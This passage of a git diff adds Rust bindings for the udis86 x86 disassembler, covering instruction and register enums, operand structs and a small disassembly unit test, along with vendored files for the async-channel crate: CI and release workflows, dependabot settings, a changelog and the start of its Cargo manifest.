UD_Iphminposuw = 419, + UD_Iphsubd = 420, + UD_Iphsubsw = 421, + UD_Iphsubw = 422, + UD_Ipi2fd = 423, + UD_Ipi2fw = 424, + UD_Ipinsrb = 425, + UD_Ipinsrd = 426, + UD_Ipinsrq = 427, + UD_Ipinsrw = 428, + UD_Ipmaddubsw = 429, + UD_Ipmaddwd = 430, + UD_Ipmaxsb = 431, + UD_Ipmaxsd = 432, + UD_Ipmaxsw = 433, + UD_Ipmaxub = 434, + UD_Ipmaxud = 435, + UD_Ipmaxuw = 436, + UD_Ipminsb = 437, + UD_Ipminsd = 438, + UD_Ipminsw = 439, + UD_Ipminub = 440, + UD_Ipminud = 441, + UD_Ipminuw = 442, + UD_Ipmovmskb = 443, + UD_Ipmovsxbd = 444, + UD_Ipmovsxbq = 445, + UD_Ipmovsxbw = 446, + UD_Ipmovsxdq = 447, + UD_Ipmovsxwd = 448, + UD_Ipmovsxwq = 449, + UD_Ipmovzxbd = 450, + UD_Ipmovzxbq = 451, + UD_Ipmovzxbw = 452, + UD_Ipmovzxdq = 453, + UD_Ipmovzxwd = 454, + UD_Ipmovzxwq = 455, + UD_Ipmuldq = 456, + UD_Ipmulhrsw = 457, + UD_Ipmulhrw = 458, + UD_Ipmulhuw = 459, + UD_Ipmulhw = 460, + UD_Ipmulld = 461, + UD_Ipmullw = 462, + UD_Ipmuludq = 463, + UD_Ipop = 464, + UD_Ipopa = 465, + UD_Ipopad = 466, + UD_Ipopcnt = 467, + UD_Ipopfd = 468, + UD_Ipopfq = 469, + UD_Ipopfw = 470, + UD_Ipor = 471, + UD_Iprefetch = 472, + UD_Iprefetchnta = 473, + UD_Iprefetcht0 = 474, + UD_Iprefetcht1 = 475, + UD_Iprefetcht2 = 476, + UD_Ipsadbw = 477, + UD_Ipshufb = 478, + UD_Ipshufd = 479, + UD_Ipshufhw = 480, + UD_Ipshuflw = 481, + UD_Ipshufw = 482, + UD_Ipsignb = 483, + UD_Ipsignd = 484, + UD_Ipsignw = 485, + UD_Ipslld = 486, + UD_Ipslldq = 487, + UD_Ipsllq = 488, + UD_Ipsllw = 489, + UD_Ipsrad = 490, + UD_Ipsraw = 491, + UD_Ipsrld = 492, + UD_Ipsrldq = 493, + UD_Ipsrlq = 494, + UD_Ipsrlw = 495, + UD_Ipsubb = 496, + UD_Ipsubd = 497, + UD_Ipsubq = 498, + UD_Ipsubsb = 499, + UD_Ipsubsw = 500, + UD_Ipsubusb = 501, + UD_Ipsubusw = 502, + UD_Ipsubw = 503, + UD_Ipswapd = 504, + UD_Iptest = 505, + UD_Ipunpckhbw = 506, + UD_Ipunpckhdq = 507, + UD_Ipunpckhqdq = 508, + UD_Ipunpckhwd = 509, + UD_Ipunpcklbw = 510, + UD_Ipunpckldq = 511, + UD_Ipunpcklqdq = 512, + UD_Ipunpcklwd = 513, + UD_Ipush = 514, + UD_Ipusha = 515, + UD_Ipushad = 516, + UD_Ipushfd = 517, + UD_Ipushfq = 518, + UD_Ipushfw = 519, + UD_Ipxor = 520, + UD_Ircl = 521, + UD_Ircpps = 522, + UD_Ircpss = 523, + UD_Ircr = 524, + UD_Irdmsr = 525, + UD_Irdpmc = 526, + UD_Irdrand = 527, + UD_Irdtsc = 528, + UD_Irdtscp = 529, + UD_Irep = 530, + UD_Irepne = 531, + UD_Iret = 532, + UD_Iretf = 533, + UD_Irol = 534, + UD_Iror = 535, + UD_Iroundpd = 536, + UD_Iroundps = 537, + UD_Iroundsd = 538, + UD_Iroundss = 539, + UD_Irsm = 540, + UD_Irsqrtps = 541, + UD_Irsqrtss = 542, + UD_Isahf = 543, + UD_Isalc = 544, + UD_Isar = 545, + UD_Isbb = 546, + UD_Iscasb = 547, + UD_Iscasd = 548, + UD_Iscasq = 549, + UD_Iscasw = 550, + UD_Iseta = 551, + UD_Isetae = 552, + UD_Isetb = 553, + UD_Isetbe = 554, + UD_Isetg = 555, + UD_Isetge = 556, + UD_Isetl = 557, + UD_Isetle = 558, + UD_Isetno = 559, + UD_Isetnp = 560, + UD_Isetns = 561, + UD_Isetnz = 562, + UD_Iseto = 563, + UD_Isetp = 564, + UD_Isets = 565, + UD_Isetz = 566, + UD_Isfence = 567, + UD_Isgdt = 568, + UD_Ishl = 569, + UD_Ishld = 570, + UD_Ishr = 571, + UD_Ishrd = 572, + UD_Ishufpd = 573, + UD_Ishufps = 574, + UD_Isidt = 575, + UD_Iskinit = 576, + UD_Isldt = 577, + UD_Ismsw = 578, + UD_Isqrtpd = 579, + UD_Isqrtps = 580, + UD_Isqrtsd = 581, + UD_Isqrtss = 582, + UD_Istc = 583, + UD_Istd = 584, + UD_Istgi = 585, + UD_Isti = 586, + UD_Istmxcsr = 587, + UD_Istosb = 588, + UD_Istosd = 589, + UD_Istosq = 590, + UD_Istosw = 591, + UD_Istr = 592, + UD_Isub = 593, + UD_Isubpd = 594, + UD_Isubps = 595, + UD_Isubsd = 596, + UD_Isubss = 597, + UD_Iswapgs = 598, + UD_Isyscall = 599, + UD_Isysenter = 600, + UD_Isysexit = 601, + UD_Isysret = 602, + UD_Itest = 603, + UD_Iucomisd = 604, + UD_Iucomiss = 605, + UD_Iud2 = 606, + UD_Iunpckhpd = 607, + UD_Iunpckhps = 608, + UD_Iunpcklpd = 609, + UD_Iunpcklps = 610, + UD_Ivaddpd = 611, + UD_Ivaddps = 612, + UD_Ivaddsd = 613, + UD_Ivaddss = 614, + UD_Ivaddsubpd = 615, + UD_Ivaddsubps = 616, + UD_Ivaesdec = 617, + UD_Ivaesdeclast = 618, + UD_Ivaesenc = 619, + UD_Ivaesenclast = 620, + UD_Ivaesimc = 621, + UD_Ivaeskeygenassist = 622, + UD_Ivandnpd = 623, + UD_Ivandnps = 624, + UD_Ivandpd = 625, + UD_Ivandps = 626, + UD_Ivblendpd = 627, + UD_Ivblendps = 628, + UD_Ivblendvpd = 629, + UD_Ivblendvps = 630, + UD_Ivbroadcastsd = 631, + UD_Ivbroadcastss = 632, + UD_Ivcmppd = 633, + UD_Ivcmpps = 634, + UD_Ivcmpsd = 635, + UD_Ivcmpss = 636, + UD_Ivcomisd = 637, + UD_Ivcomiss = 638, + UD_Ivcvtdq2pd = 639, + UD_Ivcvtdq2ps = 640, + UD_Ivcvtpd2dq = 641, + UD_Ivcvtpd2ps = 642, + UD_Ivcvtps2dq = 643, + UD_Ivcvtps2pd = 644, + UD_Ivcvtsd2si = 645, + UD_Ivcvtsd2ss = 646, + UD_Ivcvtsi2sd = 647, + UD_Ivcvtsi2ss = 648, + UD_Ivcvtss2sd = 649, + UD_Ivcvtss2si = 650, + UD_Ivcvttpd2dq = 651, + UD_Ivcvttps2dq = 652, + UD_Ivcvttsd2si = 653, + UD_Ivcvttss2si = 654, + UD_Ivdivpd = 655, + UD_Ivdivps = 656, + UD_Ivdivsd = 657, + UD_Ivdivss = 658, + UD_Ivdppd = 659, + UD_Ivdpps = 660, + UD_Iverr = 661, + UD_Iverw = 662, + UD_Ivextractf128 = 663, + UD_Ivextractps = 664, + UD_Ivhaddpd = 665, + UD_Ivhaddps = 666, + UD_Ivhsubpd = 667, + UD_Ivhsubps = 668, + UD_Ivinsertf128 = 669, + UD_Ivinsertps = 670, + UD_Ivlddqu = 671, + UD_Ivmaskmovdqu = 672, + UD_Ivmaskmovpd = 673, + UD_Ivmaskmovps = 674, + UD_Ivmaxpd = 675, + UD_Ivmaxps = 676, + UD_Ivmaxsd = 677, + UD_Ivmaxss = 678, + UD_Ivmcall = 679, + UD_Ivmclear = 680, + UD_Ivminpd = 681, + UD_Ivminps = 682, + UD_Ivminsd = 683, + UD_Ivminss = 684, + UD_Ivmlaunch = 685, + UD_Ivmload = 686, + UD_Ivmmcall = 687, + UD_Ivmovapd = 688, + UD_Ivmovaps = 689, + UD_Ivmovd = 690, + UD_Ivmovddup = 691, + UD_Ivmovdqa = 692, + UD_Ivmovdqu = 693, + UD_Ivmovhlps = 694, + UD_Ivmovhpd = 695, + UD_Ivmovhps = 696, + UD_Ivmovlhps = 697, + UD_Ivmovlpd = 698, + UD_Ivmovlps = 699, + UD_Ivmovmskpd = 700, + UD_Ivmovmskps = 701, + UD_Ivmovntdq = 702, + UD_Ivmovntdqa = 703, + UD_Ivmovntpd = 704, + UD_Ivmovntps = 705, + UD_Ivmovq = 706, + UD_Ivmovsd = 707, + UD_Ivmovshdup = 708, + UD_Ivmovsldup = 709, + UD_Ivmovss = 710, + UD_Ivmovupd = 711, + UD_Ivmovups = 712, + UD_Ivmpsadbw = 713, + UD_Ivmptrld = 714, + UD_Ivmptrst = 715, + UD_Ivmread = 716, + UD_Ivmresume = 717, + UD_Ivmrun = 718, + UD_Ivmsave = 719, + UD_Ivmulpd = 720, + UD_Ivmulps = 721, + UD_Ivmulsd = 722, + UD_Ivmulss = 723, + UD_Ivmwrite = 724, + UD_Ivmxoff = 725, + UD_Ivmxon = 726, + UD_Ivorpd = 727, + UD_Ivorps = 728, + UD_Ivpabsb = 729, + UD_Ivpabsd = 730, + UD_Ivpabsw = 731, + UD_Ivpackssdw = 732, + UD_Ivpacksswb = 733, + UD_Ivpackusdw = 734, + UD_Ivpackuswb = 735, + UD_Ivpaddb = 736, + UD_Ivpaddd = 737, + UD_Ivpaddq = 738, + UD_Ivpaddsb = 739, + UD_Ivpaddsw = 740, + UD_Ivpaddusb = 741, + UD_Ivpaddusw = 742, + UD_Ivpaddw = 743, + UD_Ivpalignr = 744, + UD_Ivpand = 745, + UD_Ivpandn = 746, + UD_Ivpavgb = 747, + UD_Ivpavgw = 748, + UD_Ivpblendvb = 749, + UD_Ivpblendw = 750, + UD_Ivpclmulqdq = 751, + UD_Ivpcmpeqb = 752, + UD_Ivpcmpeqd = 753, + UD_Ivpcmpeqq = 754, + UD_Ivpcmpeqw = 755, + UD_Ivpcmpestri = 756, + UD_Ivpcmpestrm = 757, + UD_Ivpcmpgtb = 758, + UD_Ivpcmpgtd = 759, + UD_Ivpcmpgtq = 760, + UD_Ivpcmpgtw = 761, + UD_Ivpcmpistri = 762, + UD_Ivpcmpistrm = 763, + UD_Ivperm2f128 = 764, + UD_Ivpermilpd = 765, + UD_Ivpermilps = 766, + UD_Ivpextrb = 767, + UD_Ivpextrd = 768, + UD_Ivpextrq = 769, + UD_Ivpextrw = 770, + UD_Ivphaddd = 771, + UD_Ivphaddsw = 772, + UD_Ivphaddw = 773, + UD_Ivphminposuw = 774, + UD_Ivphsubd = 775, + UD_Ivphsubsw = 776, + UD_Ivphsubw = 777, + UD_Ivpinsrb = 778, + UD_Ivpinsrd = 779, + UD_Ivpinsrq = 780, + UD_Ivpinsrw = 781, + UD_Ivpmaddubsw = 782, + UD_Ivpmaddwd = 783, + UD_Ivpmaxsb = 784, + UD_Ivpmaxsd = 785, + UD_Ivpmaxsw = 786, + UD_Ivpmaxub = 787, + UD_Ivpmaxud = 788, + UD_Ivpmaxuw = 789, + UD_Ivpminsb = 790, + UD_Ivpminsd = 791, + UD_Ivpminsw = 792, + UD_Ivpminub = 793, + UD_Ivpminud = 794, + UD_Ivpminuw = 795, + UD_Ivpmovmskb = 796, + UD_Ivpmovsxbd = 797, + UD_Ivpmovsxbq = 798, + UD_Ivpmovsxbw = 799, + UD_Ivpmovsxwd = 800, + UD_Ivpmovsxwq = 801, + UD_Ivpmovzxbd = 802, + UD_Ivpmovzxbq = 803, + UD_Ivpmovzxbw = 804, + UD_Ivpmovzxdq = 805, + UD_Ivpmovzxwd = 806, + UD_Ivpmovzxwq = 807, + UD_Ivpmuldq = 808, + UD_Ivpmulhrsw = 809, + UD_Ivpmulhuw = 810, + UD_Ivpmulhw = 811, + UD_Ivpmulld = 812, + UD_Ivpmullw = 813, + UD_Ivpor = 814, + UD_Ivpsadbw = 815, + UD_Ivpshufb = 816, + UD_Ivpshufd = 817, + UD_Ivpshufhw = 818, + UD_Ivpshuflw = 819, + UD_Ivpsignb = 820, + UD_Ivpsignd = 821, + UD_Ivpsignw = 822, + UD_Ivpslld = 823, + UD_Ivpslldq = 824, + UD_Ivpsllq = 825, + UD_Ivpsllw = 826, + UD_Ivpsrad = 827, + UD_Ivpsraw = 828, + UD_Ivpsrld = 829, + UD_Ivpsrldq = 830, + UD_Ivpsrlq = 831, + UD_Ivpsrlw = 832, + UD_Ivpsubb = 833, + UD_Ivpsubd = 834, + UD_Ivpsubq = 835, + UD_Ivpsubsb = 836, + UD_Ivpsubsw = 837, + UD_Ivpsubusb = 838, + UD_Ivpsubusw = 839, + UD_Ivpsubw = 840, + UD_Ivptest = 841, + UD_Ivpunpckhbw = 842, + UD_Ivpunpckhdq = 843, + UD_Ivpunpckhqdq = 844, + UD_Ivpunpckhwd = 845, + UD_Ivpunpcklbw = 846, + UD_Ivpunpckldq = 847, + UD_Ivpunpcklqdq = 848, + UD_Ivpunpcklwd = 849, + UD_Ivpxor = 850, + UD_Ivrcpps = 851, + UD_Ivrcpss = 852, + UD_Ivroundpd = 853, + UD_Ivroundps = 854, + UD_Ivroundsd = 855, + UD_Ivroundss = 856, + UD_Ivrsqrtps = 857, + UD_Ivrsqrtss = 858, + UD_Ivshufpd = 859, + UD_Ivshufps = 860, + UD_Ivsqrtpd = 861, + UD_Ivsqrtps = 862, + UD_Ivsqrtsd = 863, + UD_Ivsqrtss = 864, + UD_Ivstmxcsr = 865, + UD_Ivsubpd = 866, + UD_Ivsubps = 867, + UD_Ivsubsd = 868, + UD_Ivsubss = 869, + UD_Ivtestpd = 870, + UD_Ivtestps = 871, + UD_Ivucomisd = 872, + UD_Ivucomiss = 873, + UD_Ivunpckhpd = 874, + UD_Ivunpckhps = 875, + UD_Ivunpcklpd = 876, + UD_Ivunpcklps = 877, + UD_Ivxorpd = 878, + UD_Ivxorps = 879, + UD_Ivzeroall = 880, + UD_Ivzeroupper = 881, + UD_Iwait = 882, + UD_Iwbinvd = 883, + UD_Iwrmsr = 884, + UD_Ixadd = 885, + UD_Ixchg = 886, + UD_Ixcryptcbc = 887, + UD_Ixcryptcfb = 888, + UD_Ixcryptctr = 889, + UD_Ixcryptecb = 890, + UD_Ixcryptofb = 891, + UD_Ixgetbv = 892, + UD_Ixlatb = 893, + UD_Ixor = 894, + UD_Ixorpd = 895, + UD_Ixorps = 896, + UD_Ixrstor = 897, + UD_Ixsave = 898, + UD_Ixsetbv = 899, + UD_Ixsha1 = 900, + UD_Ixsha256 = 901, + UD_Ixstore = 902, + UD_Iinvalid = 903, + UD_I3dnow = 904, + UD_Inone = 905, + UD_Idb = 906, + UD_Ipause = 907, + UD_MAX_MNEMONIC_CODE = 908, +} + +extern "C" { + #[no_mangle] + pub static mut ud_mnemonics_str: *mut *const libc::c_char; +} diff --git a/lib/libudis86-sys/src/lib.rs b/lib/libudis86-sys/src/lib.rs new file mode 100644 index 0000000..aa95875 --- /dev/null +++ b/lib/libudis86-sys/src/lib.rs @@ -0,0 +1,52 @@ +#![allow(non_camel_case_types)] +#![allow(improper_ctypes)] +extern crate libc; + +pub use api::*; +pub use itab::*; +pub use types::*; + +mod api; +mod itab; +mod types; + +#[cfg(test)] +mod tests { + use std::ffi::CStr; + use std::mem; + use super::*; + + #[test] + fn it_works() { + let data = [ + // mov eax, [edx + esi*4] + 0x8B, 0x04, 0xB2, + // nop + 0x90, + ]; + + unsafe { + let mut object = mem::zeroed(); + ud_init(&mut object); + ud_set_input_buffer(&mut object, data.as_ptr(), data.len()); + ud_set_mode(&mut object, 32); + ud_set_syntax(&mut object, Some(ud_translate_intel)); + + assert_eq!(ud_disassemble(&mut object), 3); + + let operand = ud_insn_opr(&object, 0).as_ref().unwrap(); + assert_eq!(operand.otype, ud_type::UD_OP_REG); + assert_eq!(operand.base, ud_type::UD_R_EAX); + + let operand = ud_insn_opr(&object, 1).as_ref().unwrap(); + assert_eq!(operand.otype, ud_type::UD_OP_MEM); + assert_eq!(operand.base, ud_type::UD_R_EDX); + assert_eq!(operand.index, ud_type::UD_R_ESI); + assert_eq!(operand.scale, 4); + + assert_eq!(ud_disassemble(&mut object), 1); + let instruction = ud_insn_asm(&mut object); + assert_eq!(CStr::from_ptr(instruction).to_string_lossy(), "nop"); + } + } +} diff --git a/lib/libudis86-sys/src/types.rs b/lib/libudis86-sys/src/types.rs new file mode 100644 index 0000000..9fcc16e --- /dev/null +++ b/lib/libudis86-sys/src/types.rs @@ -0,0 +1,275 @@ +use std::fmt; +use libc; + +#[repr(u32)] +#[derive(Debug, Copy, Clone, PartialEq, Eq, Hash)] +pub enum ud_type { + UD_NONE = 0, + UD_R_AL = 1, + UD_R_CL = 2, + UD_R_DL = 3, + UD_R_BL = 4, + UD_R_AH = 5, + UD_R_CH = 6, + UD_R_DH = 7, + UD_R_BH = 8, + UD_R_SPL = 9, + UD_R_BPL = 10, + UD_R_SIL = 11, + UD_R_DIL = 12, + UD_R_R8B = 13, + UD_R_R9B = 14, + UD_R_R10B = 15, + UD_R_R11B = 16, + UD_R_R12B = 17, + UD_R_R13B = 18, + UD_R_R14B = 19, + UD_R_R15B = 20, + UD_R_AX = 21, + UD_R_CX = 22, + UD_R_DX = 23, + UD_R_BX = 24, + UD_R_SP = 25, + UD_R_BP = 26, + UD_R_SI = 27, + UD_R_DI = 28, + UD_R_R8W = 29, + UD_R_R9W = 30, + UD_R_R10W = 31, + UD_R_R11W = 32, + UD_R_R12W = 33, + UD_R_R13W = 34, + UD_R_R14W = 35, + UD_R_R15W = 36, + UD_R_EAX = 37, + UD_R_ECX = 38, + UD_R_EDX = 39, + UD_R_EBX = 40, + UD_R_ESP = 41, + UD_R_EBP = 42, + UD_R_ESI = 43, + UD_R_EDI = 44, + UD_R_R8D = 45, + UD_R_R9D = 46, + UD_R_R10D = 47, + UD_R_R11D = 48, + UD_R_R12D = 49, + UD_R_R13D = 50, + UD_R_R14D = 51, + UD_R_R15D = 52, + UD_R_RAX = 53, + UD_R_RCX = 54, + UD_R_RDX = 55, + UD_R_RBX = 56, + UD_R_RSP = 57, + UD_R_RBP = 58, + UD_R_RSI = 59, + UD_R_RDI = 60, + UD_R_R8 = 61, + UD_R_R9 = 62, + UD_R_R10 = 63, + UD_R_R11 = 64, + UD_R_R12 = 65, + UD_R_R13 = 66, + UD_R_R14 = 67, + UD_R_R15 = 68, + UD_R_ES = 69, + UD_R_CS = 70, + UD_R_SS = 71, + UD_R_DS = 72, + UD_R_FS = 73, + UD_R_GS = 74, + UD_R_CR0 = 75, + UD_R_CR1 = 76, + UD_R_CR2 = 77, + UD_R_CR3 = 78, + UD_R_CR4 = 79, + UD_R_CR5 = 80, + UD_R_CR6 = 81, + UD_R_CR7 = 82, + UD_R_CR8 = 83, + UD_R_CR9 = 84, + UD_R_CR10 = 85, + UD_R_CR11 = 86, + UD_R_CR12 = 87, + UD_R_CR13 = 88, + UD_R_CR14 = 89, + UD_R_CR15 = 90, + UD_R_DR0 = 91, + UD_R_DR1 = 92, + UD_R_DR2 = 93, + UD_R_DR3 = 94, + UD_R_DR4 = 95, + UD_R_DR5 = 96, + UD_R_DR6 = 97, + UD_R_DR7 = 98, + UD_R_DR8 = 99, + UD_R_DR9 = 100, + UD_R_DR10 = 101, + UD_R_DR11 = 102, + UD_R_DR12 = 103, + UD_R_DR13 = 104, + UD_R_DR14 = 105, + UD_R_DR15 = 106, + UD_R_MM0 = 107, + UD_R_MM1 = 108, + UD_R_MM2 = 109, + UD_R_MM3 = 110, + UD_R_MM4 = 111, + UD_R_MM5 = 112, + UD_R_MM6 = 113, + UD_R_MM7 = 114, + UD_R_ST0 = 115, + UD_R_ST1 = 116, + UD_R_ST2 = 117, + UD_R_ST3 = 118, + UD_R_ST4 = 119, + UD_R_ST5 = 120, + UD_R_ST6 = 121, + UD_R_ST7 = 122, + UD_R_XMM0 = 123, + UD_R_XMM1 = 124, + UD_R_XMM2 = 125, + UD_R_XMM3 = 126, + UD_R_XMM4 = 127, + UD_R_XMM5 = 128, + UD_R_XMM6 = 129, + UD_R_XMM7 = 130, + UD_R_XMM8 = 131, + UD_R_XMM9 = 132, + UD_R_XMM10 = 133, + UD_R_XMM11 = 134, + UD_R_XMM12 = 135, + UD_R_XMM13 = 136, + UD_R_XMM14 = 137, + UD_R_XMM15 = 138, + UD_R_YMM0 = 139, + UD_R_YMM1 = 140, + UD_R_YMM2 = 141, + UD_R_YMM3 = 142, + UD_R_YMM4 = 143, + UD_R_YMM5 = 144, + UD_R_YMM6 = 145, + UD_R_YMM7 = 146, + UD_R_YMM8 = 147, + UD_R_YMM9 = 148, + UD_R_YMM10 = 149, + UD_R_YMM11 = 150, + UD_R_YMM12 = 151, + UD_R_YMM13 = 152, + UD_R_YMM14 = 153, + UD_R_YMM15 = 154, + UD_R_RIP = 155, + UD_OP_REG = 156, + UD_OP_MEM = 157, + UD_OP_PTR = 158, + UD_OP_IMM = 159, + UD_OP_JIMM = 160, + UD_OP_CONST = 161, +} + +#[repr(C)] +#[derive(Clone, Copy)] +pub union ud_lval { + pub sbyte: i8, + pub ubyte: u8, + pub sword: i16, + pub uword: u16, + pub sdword: i32, + pub udword: u32, + pub sqword: i64, + pub uqword: u64, + pub ptr: ud_lval_ptr, +} + +impl fmt::Debug for ud_lval { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { + write!(f, "ud_lval {{ union }}") + } +} + +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct ud_lval_ptr { + pub seg: u16, + pub off: u32, +} + +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct ud_operand { + pub otype: ud_type, + pub size: u16, + pub base: ud_type, + pub index: ud_type, + pub scale: u8, + pub offset: u8, + pub lval: ud_lval, + pub _legacy: u64, + pub _oprcode: u8, +} + +#[repr(C)] +pub struct ud { + // + // Input buffering + // + pub inp_hook: ::std::option::Option libc::c_int>, + pub inp_file: *mut libc::FILE, + pub inp_buf: *const u8, + pub inp_buf_size: usize, + pub inp_buf_index: usize, + pub inp_curr: u8, + pub inp_ctr: usize, + pub inp_sess: [u8; 64usize], + pub inp_end: libc::c_int, + pub inp_peek: libc::c_int, + + pub translator: ::std::option::Option, + pub insn_offset: u64, + pub insn_hexcode: [libc::c_char; 64usize], + + // + // Assembly output buffer + // + pub asm_buf: *mut libc::c_char, + pub asm_buf_size: usize, + pub asm_buf_fill: usize, + pub asm_buf_int: [libc::c_char; 128usize], + + // + // Symbol resolver for use in the translation phase. + // + pub sym_resolver: ::std::option::Option *const libc::c_char>, + + pub dis_mode: u8, + pub pc: u64, + pub vendor: u8, + pub mnemonic: ::itab::ud_mnemonic_code, + pub operand: [ud_operand; 4usize], + pub error: u8, + pub _rex: u8, + pub pfx_rex: u8, + pub pfx_seg: u8, + pub pfx_opr: u8, + pub pfx_adr: u8, + pub pfx_lock: u8, + pub pfx_str: u8, + pub pfx_rep: u8, + pub pfx_repe: u8, + pub pfx_repne: u8, + pub opr_mode: u8, + pub adr_mode: u8, + pub br_far: u8, + pub br_near: u8, + pub have_modrm: u8, + pub modrm: u8, + pub modrm_offset: u8, + pub vex_op: u8, + pub vex_b1: u8, + pub vex_b2: u8, + pub primary_opcode: u8, + pub user_opaque_data: *mut libc::c_void, + pub itab_entry: *mut (), + pub le: *mut (), +} diff --git a/lib/malio/async-channel/.github/dependabot.yml b/lib/malio/async-channel/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/async-channel/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/async-channel/.github/workflows/ci.yml b/lib/malio/async-channel/.github/workflows/ci.yml new file mode 100644 index 0000000..f5ec4e0 --- /dev/null +++ b/lib/malio/async-channel/.github/workflows/ci.yml @@ -0,0 +1,90 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest] + rust: [nightly, beta, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update ${{ matrix.rust }} && rustup default ${{ matrix.rust }} + - run: rustup target add wasm32-unknown-unknown + - run: cargo build --all --all-features --all-targets + - name: Run cargo check (without dev-dependencies to catch missing feature flags) + if: startsWith(matrix.rust, 'nightly') + run: cargo check -Z features=dev_dep + - run: cargo test + - run: cargo test --no-default-features + - run: cargo test --features portable-atomic + - run: cargo test --no-default-features --features portable-atomic + - name: Install cargo-hack and wasm-pack + uses: taiki-e/install-action@v2 + with: + tool: cargo-hack,cargo-minimal-versions,wasm-pack + - run: rustup target add thumbv6m-none-eabi thumbv7m-none-eabi + - name: Run cargo check (without dev-dependencies to catch missing feature flags) + run: cargo hack build --feature-powerset --no-dev-deps + - name: Run cargo check for no-std target with atomic CAS + run: cargo hack build --feature-powerset --no-dev-deps --target thumbv7m-none-eabi --skip std,default + - name: Run cargo check for no-std target without atomic CAS + run: cargo hack build --feature-powerset --no-dev-deps --target thumbv6m-none-eabi --skip std,default --features portable-atomic,portable-atomic/critical-section + - name: Run cargo check for WASM + run: cargo check --all --all-features --all-targets --target wasm32-unknown-unknown + - name: Test WASM + run: wasm-pack test --headless --chrome + - run: cargo minimal-versions build --all + + msrv: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install cargo-hack + uses: taiki-e/install-action@cargo-hack + - run: cargo hack build --feature-powerset --no-dev-deps --rust-version + + clippy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update stable + - run: cargo clippy --all-features --all-targets diff --git a/lib/malio/async-channel/.github/workflows/release.yml b/lib/malio/async-channel/.github/workflows/release.yml new file mode 100644 index 0000000..59fad1f --- /dev/null +++ b/lib/malio/async-channel/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/async-channel/.gitignore b/lib/malio/async-channel/.gitignore new file mode 100644 index 0000000..6936990 --- /dev/null +++ b/lib/malio/async-channel/.gitignore @@ -0,0 +1,3 @@ +/target +**/*.rs.bk +Cargo.lock diff --git a/lib/malio/async-channel/CHANGELOG.md b/lib/malio/async-channel/CHANGELOG.md new file mode 100644 index 0000000..afe13b1 --- /dev/null +++ b/lib/malio/async-channel/CHANGELOG.md @@ -0,0 +1,107 @@ +# Version 2.5.0 + +- Add `Sender::closed()` (#102) + +# Version 2.4.0 + +- Add `Sender::same_channel()` and `Receiver::same_channel()`. (#98) +- Add `portable-atomic` feature to support platforms without atomics. (#106) + +# Version 2.3.1 + +- Use the correct version of `async-channel` in our manifest. (#93) + +# Version 2.3.0 + +- Add `force_send` for sending items over the channel that displace other items. (#89) + +# Version 2.2.1 + +- Fix the CI badge in the `crates.io` page. (#84) + +# Version 2.2.0 + +- Bump `event-listener` to v5.0.0. (#79) +- Bump MSRV to 1.60. (#80) + +# Version 2.1.1 + +- Bump `event-listener` to v4.0.0. (#73) + +# Version 2.1.0 + +- Bump `futures-lite` to its latest version. (#70) + +# Version 2.0.0 + +- **Breaking:** Make `Send`, `Recv` and `Receiver` `!Unpin`. This enables more efficient event notification strategies. (#59) +- **Breaking:** Add an `std` enabled-by-default feature that enables parts of the API that require `std`. (#59) +- Add support for the `wasm32` target. (#67) + +# Version 1.9.0 + +- Fix a bug where `WeakSender/WeakReceiver` could incorrectly return `Some` even if the channel is already closed (#60) +- Remove the unnecessary `T: Clone` bound from `WeakSender/WeakReceiver`'s `Clone` implementation (#62) + +# Version 1.8.0 + +- Prevent deadlock if sender/receiver is forgotten (#49) +- Add weak sender and receiver (#51) +- Update `concurrent-queue` to v2 (#50) + +# Version 1.7.1 + +- Work around MSRV increase due to a cargo bug. + +# Version 1.7.0 + +- Add `send_blocking` and `recv_blocking` (#47) + +# Version 1.6.1 + +- Make `send` return `Send` (#34) + +# Version 1.6.0 + +- Added `Send` and `Recv` futures (#33) +- impl `FusedStream` for `Receiver` (#30) + +# Version 1.5.1 + +- Fix typos in the docs. + +# Version 1.5.0 + +- Add `receiver_count()` and `sender_count()`. + +# Version 1.4.2 + +- Fix a bug that would sometime cause 100% CPU usage. + +# Version 1.4.1 + +- Update dependencies. + +# Version 1.4.0 + +- Update dependencies. + +# Version 1.3.0 + +- Add `Sender::is_closed()` and `Receiver::is_closed()`. + +# Version 1.2.0 + +- Add `Sender::close()` and `Receiver::close()`. + +# Version 1.1.1 + +- Replace `usize::MAX` with `std::usize::MAX`. + +# Version 1.1.0 + +- Add methods to error types. + +# Version 1.0.0 + +- Initial version diff --git a/lib/malio/async-channel/Cargo.toml b/lib/malio/async-channel/Cargo.toml new file mode 100644 index 0000000..8c23891 --- /dev/null +++ b/lib/malio/async-channel/Cargo.toml @@ -0,0 +1,36 @@ +[package] +name = "async-channel" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v2.x.y" git tag +version = "2.5.0" +authors = 